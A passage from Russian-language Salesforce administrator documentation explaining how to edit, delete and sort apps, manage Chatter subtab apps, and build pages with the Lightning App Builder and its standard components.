ограничениями исключены из этого списка.

15. Чтобы закрыть мастер, нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Что такое приложение?

Управление приложениями

Удаление приложений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления приложений
и объектов:
• «Настройка

приложения»

Удалению подлежат настраиваемые приложения; удаление стандартных приложений
не поддерживается. Врезультате удаления приложение удаляется из менюприложений
Force.com, однако все связанные с ним объекты сохраняются. Объекты, созданные
пользователем для приложения, также могут быть удалены.

1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Приложения».

2. Щелкните ссылку «Удал.» напротив нужного приложения.

3. При необходимости удалите любые связанные объекты.
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Редактирование свойств приложения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
приложений:
• «Просмотр настройки и

конфигурации»

Для управления
приложениями:
• «Настройка

приложения»

Свойства стандартныхинастраиваемыхприложенийорганизациимогутбытьизменены.
Например, пользователь может выбрать настраиваемый логотип для настраиваемого
приложения или вкладки, доступные в стандартном или настраиваемом приложении.

Метка, описание и логотип стандартного приложения не могут быть изменены.

Чтобы изменить свойства приложения, выполните указанные ниже действия.

1. Введите строку «Приложения»в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Приложения».

2. Щелкните «Правка» напротив нужного приложения.

3. Укажите метку приложения. Метка может содержать не более 40 символов, включая
пробелы. Даннаяметка являетсяименемприложениявменюприложений Force.com.

4. При необходимости введите описание приложения.

5. Принеобходимостивыберитенастраиваемыйлоготипприложения. Чтобывыбрать
графическийфайлизбиблиотекидокументов, щелкните«Вставитьизображение».

Нижеперечисленырекомендацииповыборунастраиваемогологотипаприложения
в библиотеке документов.

• Изображениедолжнобытьвформате GIF или JPEG. Размеризображениянеможет
превышать 20 Кб.

• Изображение, размеркоторогопревышает 300 пикселовпоширинеи 55 пикселов
по высоте, подлежит масштабированию.

• Для повышения качества отображения на экране рекомендуем использовать
изображение с прозрачнымфоном.

• Чтобы предоставить пользователям доступ к изображению, установите флажок
«Внешний доступ» в свойствах документа.

6. Чтобы добавить или удалить вкладки из приложения, воспользуйтесь клавишами со стрелками «вправо» и «влево».

7. Чтобы определить порядок отображения вкладок в приложении, воспользуйтесь клавишами со стрелками «вверх» и
«вниз».

8. При необходимости выберите стандартную целевую вкладку для нового приложения в раскрывающемся меню
«Стандартная целевая вкладка» под списком выбранных вкладок. Данное меню определяет первую вкладку,
отображающуюся пользователю при входе в приложение.

9. Чтобы переопределить любые персональные настройки, внесенные пользователями в приложение, установите
флажок «Перезаписать персональные настройки настраиваемого приложения».

10. Чтобы выбрать профили, которым должно быть доступно приложение, установите флажок «Доступно».

11. Установитефлажок «По умолчанию», чтобыустановитьприложениевкачествеприложенияпрофиляпоумолчанию,
то есть новые пользователи при первом входе в систему будут видеть это приложение в профиле. Профили с
ограничениями исключены из этого списка.

12. Нажмите кнопку «Сохранить».
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Прим.: Чтобыназначитьприложенияпрофилямпользователейв версии Professional Editon, рекомендуемвключить
их поддержку для организации.

СМ. ТАКЖЕ:

Что такое приложение?

Управление приложениями

Что такое приложение вложенной вкладки?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Приложение — это набор вкладок, работающих как единое целое для выполнения
доступных функций. Подобным образом, приложение вложенной вкладки — это набор
вкладок, отображающийсянастраницепрофиляChatter. Приложениевложеннойвкладки
может содержать стандартные и настраиваемые вкладки.

Наборы вкладок, отображаемые на странице профиля, определяются контекстом
соответствующегопользователя. Приложениявложеннойвкладки — эторазныенаборы
вкладок, доступные на определенных страницах (например, на страницах профилей
пользователей).

Данная таблицасодержитстандартныеприложениявложеннойвкладки, определяющие
отображаемые вкладки исходя из контекста пользователя.

Отображается пользователю при
просмотре...

Приложение вложенной вкладки

Другой пользователь в пределах
собственной внутренней организации.

Профиль (другие)

Собственный профиль в пределах
собственной внутренней организации.

Профиль (собственный)

Другой пользователь в пределах
сообщества. Данное приложение

Профиль в сообществах (другие)

отображается только при использовании
сообществ.

Собственный профиль в пределах
сообщества. Данное приложение

Профиль в сообществах (собственный)

отображается только при использовании
сообществ.

Прим.: Конечные пользователи не могут настраивать параметры отображения приложений вложенной вкладки.
Администраторымогут скрывать вкладки внутриприложенийпосредствомпараметра «Вкладка скрыта» в разделе
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«Параметрывкладки». Пользователимогут просматривать вкладки, доступность которыхопределяетсяпараметром
«Отключены стандартные параметры» и «Включены стандартные параметры».

СМ. ТАКЖЕ:

Управление приложениями вложенной вкладки

Полезные советы: настройка страниц профиля Chatter

Управление приложениями вложенной вкладки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
приложений:
• «Просмотр настройки и

конфигурации»

Для управления
приложениями:
• «Настройка

приложения»

Страницы профилей пользователей позволяют просматривать и настраивать
приложения вложенной вкладки.

Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка», затем
выберитепункт«Приложения», чтобыоткрытьсписокприложенийвложеннойвкладки
организации.

Ниже перечислены доступные действия.

• Чтобы просмотреть сведения о приложении вложенной вкладки, щелкните имя
нужного приложения в разделе «Приложения вложенной вкладки». Страница
сведений содержит свойства приложения (например, вкладки, являющиеся частью
приложения, включаялюбыенеразвернутыевкладки). Чтобыпросмотреть сведения,
выберите нужную настраиваемую вкладку в списке «Добавленные вкладки».

• Чтобыизменить свойстваприложениявложеннойвкладки, щелкните «Правка»для
выборанужныхвкладок, измененияпорядкаихотображенияинастройкипараметра
«Стандартная целевая вкладка».

Прим.: Администраторымогут изменятьнаборыполномочийилипараметры
профиля для ограничения доступа пользователей к каждой вкладке. Данный
алгоритм позволяет администраторам предоставлять доступ к некоторым
вкладкам только определенным пользователям.

СМ. ТАКЖЕ:

Что такое приложение вложенной вкладки?
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Управление доступностью приложений вложенной вкладки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
приложений:
• «Просмотр настройки и

конфигурации»

Для управления
приложениями:
• «Настройка

приложения»

Страницапрофиляпозволяетвыбиратьпользователей, которымдолжныбытьдоступны
определенные вкладки настроенных приложений вложенной вкладки.

Чтобыизменитьдоступностьвкладоквнутриприложениявложеннойвкладки, выполните
указанные ниже действия.

1. Вразделе «Настройка» введите «Профили» вполе «Быстрый поиск», затемвыберите
«Профили».

2. Выполните одно из указанных ниже действий.

• Исходный пользовательский интерфейс профиля: щелкните ссылку «Правка»
напротив нужного профиля и прокрутите страницу до раздела «Параметры
вкладки».

• Расширенный пользовательский интерфейс профиля: щелкните имя нужного
профиля и выберите ссылку «Параметры объекта». Щелкните имя нужного
объекта и нажмите кнопку «Правка».

Прим.: Некоторымпрофилям, включаяпользователей Chatter External и Chatter
Free, непредоставляютсяполномочия, необходимыедляпросмотраприложений
вложенной вкладки.

3. Измените параметры вкладки.

Конечныепользователинемогутнастраиватьпараметрыотображенияприложений
вложенной вкладки. Администраторы могут скрывать вкладки внутри приложений
посредством параметра «Вкладка скрыта» в разделе «Параметры вкладки».
Пользователи могут просматривать вкладки, доступность которых определяется
параметром «Отключены стандартные параметры» и «Включены стандартные
параметры».

4. (Толькодляисходногопользовательскогоинтерфейсапрофиля) Чтобыприменитьпараметрыдоступностивкладки,
заданныепользователем, кпользовательскимнастройкамвкладки, установитефлажок«Изменятьнастройкиличных
вкладок пользователя».

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Что такое приложение вложенной вкладки?

Управление приложениями вложенной вкладки
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Сортировка приложений

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Настройте сортировку приложений Salesforce, собственных приложений и связанных
приложений в организации. Можно также скрывать приложения в средстве запуска
приложений.

Администраторможетнастраивать способсортировкиприложенийдляпользователей
ворганизации. Кэтимприложениямотносятся стандартныеприложенияSalesforce, такие
как Salesforce Marketing, приложение Call Center и любые собственные приложения
организации. Кроме того, организация может использовать связанные приложения. К
связанным приложениям относятся офисные (например, Gmail™ и Microsoft Office 365™)
и другие приложения, необходимые для выполнения работы.

Установленный для организации способ сортировки используется по умолчанию для
пользователей. Пользователи начинают с использования вида по умолчанию и могут
изменить способ сортировки приложений для более быстрого доступа к необходимым
приложениям.

Изменение порядка элементов в меню приложений Force.com и средстве запуска приложений в Salesforce Classic

Пользователь может изменить порядок отображения приложений в меню приложений Force.com.

Сортировка приложений в средстве запуска приложений в Salesforce Lightning Experience

Можно изменить параметры доступности по умолчанию и порядок отображения приложений в средстве запуска
приложений.
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Изменение порядка элементов в меню приложений Force.com и средстве запуска
приложений в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
приложений:
• «Просмотр настройки и

конфигурации»

Для управления
приложениями:
• «Настройка

приложения»

Пользовательможетизменитьпорядокотображенияприложенийвменюприложений
Force.com.

Менюприложений Force.com — этораскрывающийсясписок, доступныйвверху каждой
страницы приложения. Если средство запуска приложений включено, в нем
отображаютсялоготипылокальныхприложенийпользователей, связанныхприложений
и приложений Salesforce.

1. Последовательно выберите пункты в меню «Настройка».

a. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка»,
затем выберите пункт «Приложения» ищелкните «Изменить порядок».

b. Введите строку «Меню приложений» в поле «Быстрый поиск», затем выберите
пункт «Менюприложений».

2. Перетащите приложения в списке желаемым образом, чтобы изменить их порядок.
Изменения вступают в силу незамедлительно.

3. Можно также щелкнуть «Доступно» или «Скрыто», чтобы показать или скрыть
отдельные приложения в средстве запуска приложений для всех пользователей
организации.

Все приложения, установленные в организации, отображаются для сортировки. Тем не
менее приложения, отображаемые в меню приложений Force.com и в средстве запуска
приложений, определяются параметрами доступности каждого приложения и
полномочиямипользователя. Например, администратору, какправило, доступнобольше
приложений, чем стандартному пользователю. Пользователь имеет доступ ко всем
приложениям в соответствии со своими полномочиями и настройками доступа в
профиле. Для отображения в средстве запуска приложений связанные приложения и
поставщики услуг должны иметь начальный URL-адрес.

СМ. ТАКЖЕ:

Что такое приложение?

Создание настраиваемых приложений

Открытие другого приложения

Средство запуска приложений
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Сортировка приложений в средстве запуска приложений в Salesforce Lightning
Experience

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
приложений:
• «Просмотр настройки и

конфигурации»

Для управления
приложениями:
• «Настройка

приложения»

Можно изменить параметры доступности по умолчанию и порядок отображения
приложений в средстве запуска приложений.

В средстве запуска приложений показаны все доступные для пользователя приложения
Salesforce, а также все связанные приложения, установленные администратором.
Администраторможетспомощьюсредства запускаприложенийнастроитьстандартные
порядокотображенияприложенийипараметрыдоступностиприложенийворганизации.
Впоследствии пользователи могут изменить порядок отображения приложений в
средстве запуска приложений.

1. В меню «Настройка» выполните одно из следующих действий.

a. Введите строку «Приложения» в поле «Быстрый поиск», затем выберите пункт
«Приложения» ищелкните «Изменить порядок».

b. Введите строку «Меню приложений» в поле «Быстрый поиск», затем выберите
пункт «Менюприложений».

2. Перетащите приложения в списке желаемым образом, чтобы изменить их порядок.
Изменения вступают в силу незамедлительно.

3. Щелкните «Доступно» или «Скрыто», чтобы показать или скрыть отдельные
приложения в средстве запуска приложений для всех пользователей организации.

Все приложения, установленные в организации, отображаются для сортировки. Тем не
менее приложения, отображаемые в средстве запуска приложений, определяются
параметрами доступности каждого приложения и полномочиями пользователя.
Например, администратору, как правило, доступно больше приложений, чем рядовому
пользователю. Пользователь имеет доступ к приложениям в соответствии со своими
полномочиямиинастройкамидоступавпрофиле. Связанныеприложенияипоставщики
услуг должны иметь начальный URL-адрес, чтобы отображаться в средстве запуска приложений.

СМ. ТАКЖЕ:

Что такое приложение?

Открытие другого приложения
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Начальная страница Force.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к начальной
странице Force.com:
• «Настройка

приложения»

НачальнаястраницаForce.comсодержитсредствадлясозданияприложенийиуправления
ими.

Чтобы открыть начальную страницу Force.com, воспользуйтесь меню «Настройка».

• Леваябоковаяпанель, поддерживающаяфункциипросмотраипоиска, предоставляет
доступ ко всем действиям, задачам и инструментам настройки.

• Раздел «Начало работы» содержит инструмент для быстрого создания базового
приложения, а такжессылкинасведенияорасширениииуправленииприложениями.
Данный раздел отображается только в том случае, если ранее он не был закрыт
пользователем.

• Список «Недавние элементы» содержит элементы метаданных, просмотренные,
созданные или измененные последними, а также их связанные объекты.

• Страница общих сведений о системе содержит раздел сообщений, уведомляющих
пользователей о приближении организации к заданным ограничениям. По
умолчанию данный раздел отключен.

• Раздел «Быстрые ссылки» содержит ссылки для управления инструментами,
пользователями, приложениями, данными и параметрами безопасности.

• Раздел «Сообщество» содержит доступные ресурсы. Данный раздел отображается
снова в новом выпуске, если он был ранее закрыт.

• На правой панели отображаются ссылки на внешние ресурсы, которые могут быть полезны разработчикам и
администраторам.

СМ. ТАКЖЕ:

Список «Недавние элементы» (бета)

Список «Недавние элементы» (бета)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Список «Недавниеэлементы» содержитэлементыметаданных, просмотренные, созданные
или измененные последними, а также их связанные объекты.

Прим.: Данный выпуск поддерживает бета-версию списка «Недавние элементы»,
являющуюся полноценной, но имеющую некоторые ограничения.

Список «Недавние элементы» содержит следующие элементы.

• Классы Apex

• Триггеры Apex

• Процессы утверждения

• Приложения

• Типы настраиваемых отчетов

• Шаблоны эл. почты

• Поля

• Объекты

• Макеты страниц

• Наборы полномочий
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• Профили

• Типы записей

• Статические ресурсы

• Вкладки

• Пользователи

• Правила проверки

• Страницы Visualforce

• Компоненты Visualforce

• Электронные предупреждения бизнес-правила

• Обновления полей бизнес-правил

• Исходящие сообщения бизнес-правил

• Бизнес-правила

• Задачи бизнес-правил

Прим.: Список недавних элементов в настройках не зависит от раздела «Недавние элементы» на боковой панели
большинства страниц Salesforce. Список в настройках содержит элементы, используемые администраторами, в то
время как раздел «Недавние элементы» на боковой панели отображает записи, с которыми работали конечные
пользователи.

Настройка сообщений для страницы общих сведений о системе Force.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме Personal
Edition и Database.com
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки сообщений
Force.com:
• «Настройка

приложения»

Прим.: Страницаобщихсведенийосистемесодержиттолькоэлементы, поддержка
которых включена в организации. Например, бизнес-правила отображаются на
странице общих сведений о системе только в том случае, если в организации
включена их поддержка.

Начальная страница Force.com позволяет добавлять сообщения об использовании,
уведомляющиепользователейоприближенииорганизациик заданнымограничениям.
Сообщения, отображающиесянаначальнойстранице Force.com, могутбытьразвернуты,
свернуты или пропущены. По умолчанию данные сообщения включены.

Чтобы настроить сообщения на начальной странице Force.com, выполните указанные
ниже действия.

1. Введите строку «Общие сведения о системе» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Общие сведения о системе».

2. Нажмите кнопку «Настроить сообщения Force.com».

3. Установите или снимите флажки напротив нужных типов сообщений для их
отображения или сокрытия на начальной странице Force.com.

4. Нажмите кнопку «OK».

Важное замечание: Данные сообщения отображаются на начальной странице
Force.com только в случае приближения организации к заданным ограничениям.

В результате включения или пропуска сообщений на начальной странице Force.com меняется только их представление.
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Создание настраиваемых мобильных приложений

Создание настраиваемых мобильных приложений посредством страниц
Lightning и конструктора приложений Lightning

Конструктор приложений Lightning

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Конструктор приложений Lightning — это интерактивный инструмент, позволяющий
создавать настраиваемые страницы приложения Salesforce1. С помощью конструктора
приложений Lightningможно объединять различные компоненты на главной странице
одного приложения, что позволит вашим пользователям Salesforce1 работать со всеми
необходимымифункциями в одном месте.

Чтобы открыть конструктор приложений Lightning, введите в меню «Настройка»
«Конструктор приложений Lightning» в поле «Быстрый поиск» и выберите
«Конструктор приложений Lightning».

Нижеперечисленыприложения, которыемогутбытьсозданыпосредствомконструктора
приложений Lightning.

• Одностраничные приложения, детализирующие стандартные страницы

• Приложенияпотипупанелеймониторинга (например, приложениядляотслеживания
популярных потенциальных клиентов или ключевых интересов за квартал)

• «Точечные» приложениядлярешенияконкретнойзадачи (например, приложениедляучетаиконтроляпроизведенных
расходов)
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Страницы Lightning являются базовой технологией конструктора приложений Lightning. Страница Lightning — это
настраиваемый макет, позволяющий разрабатывать страницы для использования в мобильном приложении Salesforce1
или в Lightning Experience.

Страницы Lightning создаютсяпосредствомкомпонентов Lightning (компактные, настраиваемыеимногоразовыеэлементы,
доступные для перетаскивания в конструктор приложений Lightning).

Конструктор приложений Lightning позволяет использовать стандартные, настраиваемые и сторонние компоненты.

Стандартные компоненты
Стандартные компоненты — это компоненты Lightning, созданные компанией Salesforce. Конструктор приложений
Lightning поддерживает стандартные компоненты Lightning ниже.

Настраиваемые компоненты
Настраиваемые компоненты — это компоненты Lightning, созданные вамиили другимпользователем. Снекоторыми
доработками пользовательские компоненты Lightning могут работать в конструкторе приложений Lightning.
Дополнительную информацию см. в Руководстве разработчика компонентов Lightning.

Сторонние компоненты из каталога AppExchange
AppExchange — это каталог, содержащий компоненты Lightning. При необходимости найдите пакеты, содержащие
компоненты, которые уже настроены и готовы к использованию в конструкторе приложений Lightning.

Крометого, выможетедобавлять глобальныедействиянастраницу Lightning. Действияпозволяютпользователювыполнять
со страницы Lightning различные задачи, например записывать подробные сведения о вызовах, создавать или обновлять
записи, отправлять электроннуюпочтуилисоздавать задачу. Когдапользователь заходитна страницу Lightning в Salesforce1,
действия данной страницы отображаются на панели действий.

Конструкторприложений Lightningподдерживаетсяпоследниминастольнымиверсиямиобозревателей Microsoft® Internet
Explorer®, Google Chrome™, Apple® Safari®и Mozilla® Firefox®. Конструкторприложений Lightningнеподдерживаетсямобильными
обозревателямииобозревателем Internet Explorer 10 илиболее ранней версии. Минимальное рекомендуемое разрешение
для конструктора приложений Lightning: 1280 x 800.

Создание настраиваемой страницы приложения Salesforce1: общие сведения
Принеобходимостисоздайте страницумобильногоприложения, позволяющуюпользователямпросматриватьнаиболее
важные объекты и элементы настраиваемого приложения.

Настраиваемые страницы приложения Salesforce1 создаются посредством страниц Lightning.

1. Прежде чем создать страницу, определите компоненты, которые должны быть добавленына страницу, и глобальные
действия, которые должны быть доступны пользователям.

2. Создайте страницу Lightning.

При необходимости воспользуйтесь конструктором приложений Lightning в системе Salesforce или определите код
страницы Lightning в XML и разверните созданную страницу в организации посредством пакета.

3. Добавьте действия на страницу.

4. Активируйте страницу Lightning в конструкторе приложений Lightning.

Активацияпозволяетсоздатьнастраиваемуювкладкудлястраницыприложения, определитьеедоступностьидобавить
ее в меню навигации приложения Salesforce1 — все в одном месте.

Страницы Lightning
Страница Lightning — этонастраиваемыймакет, позволяющийконструироватьстраницыдляиспользованиявмобильном
приложении Salesforce1 или в Lightning Experience.
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Страницы Lightning являются золотой серединой между макетами страниц и страницами Visualforce. Подобно макету
страницы, страницы Lightningпозволяютдобавлятьнастраиваемыеэлементына страницу. Темнеменее, данные элементы
являются компонентами Lightning (а не полями или компонентами Visualforce), поэтому отличаются более высокой
универсальностью.

Рекомендуем использовать страницу Lightning для создания домашней страницы приложения, которую затем можно
добавить в меню навигации Salesforce1. Начальная страница приложения — это мобильная начальная страница,
позволяющая пользователям быстро просматривать наиболее важные объекты и элементы приложения.

С помощью страницы Lightning также можно создавать настраиваемые страницы записей для Lightning Experience.

Структура страницы Lightning определяется устройством, используемым для ее просмотра. Шаблон, выбранный при
создании страницы, определяет способ отображения страницы Lightning на конкретном устройстве. Шаблон страницы
Lightning разделяет страницу на области.

Страницы Lightning создаютсяпосредствомкомпонентов Lightning (компактные, настраиваемыеимногоразовыеэлементы,
доступные для перетаскивания в конструктор приложений Lightning).

Страница Lightning состоит из областей, содержащих по нескольку компонентов.

Пользователь может назначать глобальные действия для страницы приложения в конструкторе приложений Lightning
или прямо в XML-коде страницы Lightning. При открытии страницы приложения в Salesforce1 назначенные глобальные
действия отобразятся на панели действий.

Пример: Данная страница Lightning в приложении Salesforce1 содержит компонент «Списокфильтров», компонент
«Недавние элементы» и одно глобальное действие.
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Типы страниц Lightning

С помощью конструктора приложений Lightning можно создавать два типа страниц Lightning. Страницы приложения
предназначены для работы в Salesforce1, а страницы записей — в Lightning Experience.

Заданный тип страницы Lightning изменить нельзя.

Страница приложения

Рекомендуем использовать страницу приложения для создания начальной страницы стороннего приложения, которая
затемможетбытьдобавленапрямовмобильнуюнавигациюприложенияSalesforce1. Втакомслучае у вашихпользователей
Salesforce1 будет мобильная домашняя страница, которая откроет им быстрый доступ к наиболее важным объектам и
элементам в этом приложении.

Страница записей (пробная версия)

С помощью страницы записей можно создать настраиваемую версию страницы записей объекта в Lightning Experience в
соответствии с нуждами пользователей.

Прим.: Внастоящеевремясозданиеиредактированиестраницзаписей Lightning Experience спомощьюконструктора
приложений Lightning в пробной версии программы доступно для организаций версии Developer Edition. Пробные
версиипрограммподлежатизменению, ипоэтомумынеможемточно указатьпромежуток времени, напротяжении
которого эта функция будет доступна. Наряду с другими пресс-релизами и официальными сообщениями, данный
документссылаетсянанекоторыефункцииикомпоненты, которыевнастоящеевремянедоступныдляиспользования,
поэтому компания Salesforce не может гарантировать их доставку, в том числе своевременную. Рекомендуем
приобретать только доступные функции и компоненты.
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Стандартные компоненты страницы Lightning

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Стандартныекомпоненты — это компоненты Lightning, созданныекомпанией Salesforce.
При создании страниц Lightning доступно несколько стандартных компонентов.

Прим.: Приведенные ниже компоненты поддерживаются на всех типах страниц,
если не указано иное. Другие типы стандартных компонентов доступны и могут
отличаться в зависимостиот типасоздаваемойстраницыитипасвязанногообъекта
на ней.

Некоторыекомпонентыимеютобязательныесвойства, которыедолжныбытьнастроены
до их добавления на страницу. При добавлении компонента на страницу Lightning в
конструктореприложений Lightning егообязательныесвойствапомечаются звездочками.

Область или вкладка страницы Lightning может содержать до 25 компонентов.

Компоненты страницы Lightning на странице приложения можно связать только с
объектами, поддерживаемымиSalesforce1. Списокподдерживаемыхобъектовсм. вразделе
«Данные, доступные в мобильном приложении Salesforce1».

Общие сведения о компоненте «Средство запуска приложений»

В средстве запуска приложений отображаются все доступные пользователю приложения Salesforce, а также любые
связанные приложения, настроенные администратором. Пользователь осуществляет навигацию по приложениям с
помощью средства запуска приложений.

Данный компонент поддерживается API-интерфейсом 35.0 или более поздней версии.

СвяжитесьсSalesforce, чтобысделатьдоступнымкомпонент «Средствозапускаприложений»дляконструктораприложений
Lightning в вашей организации.

Компонент «Список фильтров»

Компонент «Список фильтров» указывает на списковое представление и отображает первые записи из данного
представления. Данный компонент поддерживает все общие и общедоступные списковые представления, связанные со
стандартными и настраиваемыми объектами, кроме объектов ниже.

• Activity

• ContentVersion (файлы)

• Задача

• Пользователь

• UserProfile

По умолчанию компонент «Список фильтров» отображает первые три записи из списка; при необходимости данное
количество может быть увеличено до 30.

Компоненту «Списокфильтров» неможетбыть заданонастраиваемоеимя. Имякомпонентаизвлекаетсяизименифильтра
спискового представления, выбранного при настройке компонента.

Вконструктореприложений Lightningраскрывающийсясписок «Объект» данногокомпонентаотображаеттолькообъекты,
имеющие связанные списковые представления.
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Компонент «Недавние элементы»

Компонент «Недавние элементы» отображает списокнедавноиспользованныхэлементов. Поумолчаниюотображаются
три элемента; при необходимости данное количество может быть увеличено до 30. Чтобы выбрать объекты, записи
которых должны отображаться в списке недавних элементов, воспользуйтесь конструктором приложений Lightning.

Компонент «Недавние элементы» поддерживает объекты ниже (на основе заданных свойств).

• Все настраиваемые объекты

• Все стандартные объекты, соответствующие обоим условиям ниже:

– Наличие компактного макета для объекта.

– Отслеживание объекта в списке недавно использованных объектов.

При отслеживании объекта в списке недавно использованных объектов отображаются поля LastViewedDate и
LastReferencedDate или одно из них.

Компонент «Недавние элементы» не поддерживает объекты ниже.

• ContentVersion (файлы)

• Пользователь

• UserProfile

Компонент «Диаграмма отчета»

Рекомендуем использовать компонент «Диаграмма отчета» для добавления диаграммы из отчета на страницу Lightning.
При использовании пустого поля «Метка» метка компонента извлекается из метки отчета.

Обновление диаграммы выполняется при наличии данных отчета старше одного дня. При необходимости разрешите
отображение кнопки обновления в свойствах компонента для предоставления пользователям возможности обновления
диаграммы. Кроме того, сохранение определений отчета инициирует обновление данных отчета в компоненте.

ДанныйкомпонентподдерживаетсяинтерфейсомAPI 32.0 илиболеепозднейверсии. Данныйкомпонентнеподдерживает
отчеты, хранящиеся в папке «Мои личные настраиваемые отчеты». Компоненты «Диаграмма отчета», ссылающиеся на
отчеты из папки «Изъятые общедоступные отчеты», недоступны для развертывания при добавлении в пакет.

Компонент «Обогащенный текст»

Рекомендуемиспользоватькомпонент «Обогащенныйтекст» длядобавленияразметкитекстаилиобычной HTML-разметки
на страницу Lightning.

Прим.: Данныйкомпонентнеподдерживает JavaScript, CSS, элементы iframe идругуюрасширеннуюразметку. Чтобы
дополнитькомпонентрасширенными HTML-элементами, рекомендуемиспользоватькомпонентстраницы Visualforce
или настраиваемый компонент Lightning.

Компонент «Обогащенный текст» может содержать не более 4 000 символов. Данный компонент поддерживается
интерфейсом API 32.0 или более поздней версии.

Компонент «Вкладки» (пробная версия)

Спомощьюкомпонента «Вкладки» можнодобавлятьнаборвкладок вобласть страницы Lightning. Выберите стандартные
вкладки из набора или создайте настраиваемые вкладки для расширения страниц записей для пользователей Lightning
Experience. Компонент «Вкладки» поддерживается только страницами записей Lightning Experience.

Вкомпоненте «Вкладки» можноразместить до 25 вкладок.ДанныйкомпонентподдерживаетсяAPI-интерфейсом 36.0 или
более поздней версии.
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Компонент «Вкладки» является частью пробной версии программы по созданию и редактированию страниц записей в
Lightning Experience.

Прим.: Внастоящеевремясозданиеиредактированиестраницзаписей Lightning Experience спомощьюконструктора
приложений Lightning в пробной версии программы доступно для организаций версии Developer Edition. Пробные
версиипрограммподлежатизменению, ипоэтомумынеможемточно указатьпромежуток времени, напротяжении
которого эта функция будет доступна. Наряду с другими пресс-релизами и официальными сообщениями, данный
документссылаетсянанекоторыефункцииикомпоненты, которыевнастоящеевремянедоступныдляиспользования,
поэтому компания Salesforce не может гарантировать их доставку, в том числе своевременную. Рекомендуем
приобретать только доступные функции и компоненты.

Компонент «Страница Visualforce»

Рекомендуем использовать компонент «Страница Visualforce» для добавления страницы Visualforce на страницу Lightning.

При использовании пустого поля «Метка» метка компонента извлекается из метки назначенной страницы Visualforce.

При использовании пустого поля «Высота» высота страницы Visualforce по умолчанию составляет 300 пикселов при
отображении в приложении Salesforce1.

Данный компонент поддерживается интерфейсом API 32.0 или более поздней версии.

Страница Visualforce может отображаться в приложении Salesforce1 только при включении параметра «Доступно для
мобильных приложений Salesforce и страниц Lightning». Данныйпараметрдоступендлястраниц, использующих
интерфейс API 27.0 или более поздней версии.

Компонент «Панель мониторинга Wave Analytics»

Воспользуйтесь компонентом «Панель мониторинга Wave» для включения панелей мониторинга Wave Analytics в вашу
страницу Lightning. Этот компонент поддерживается только в настольных версиях.

Выберите панель мониторинга для отображения в раскрывающемся списке. Если оставить поле «Высота» пустым, то
высота панели мониторинга составит по умолчанию 300 пикселов при отображении на вашей странице Lightning.

Вы можете управлять отображением заголовка панели мониторинга и указывать, будет ли эта панель отображаться при
возникновенииошибки. Спомощьюатрибута «Открывать ссылкивновомокне» можноуказывать, где будутоткрываться
ссылки с панели мониторинга на другие ресурсы.

Спомощьюатрибута «Фильтр» можнофильтроватьполянаборовданныхвреальномвремениспомощью JSON. Например:
{datasetDeveloperName1:{field1:[value]},datasetDeveloperName1:{field1:[value1,value2],field2:["value3,
with comma"]}}

Свяжитесь с Salesforce, чтобы включить компонент «Панель мониторинга Wave» в конструкторе приложений Lightning.
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Настраиваемые компоненты страницы Lightning

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
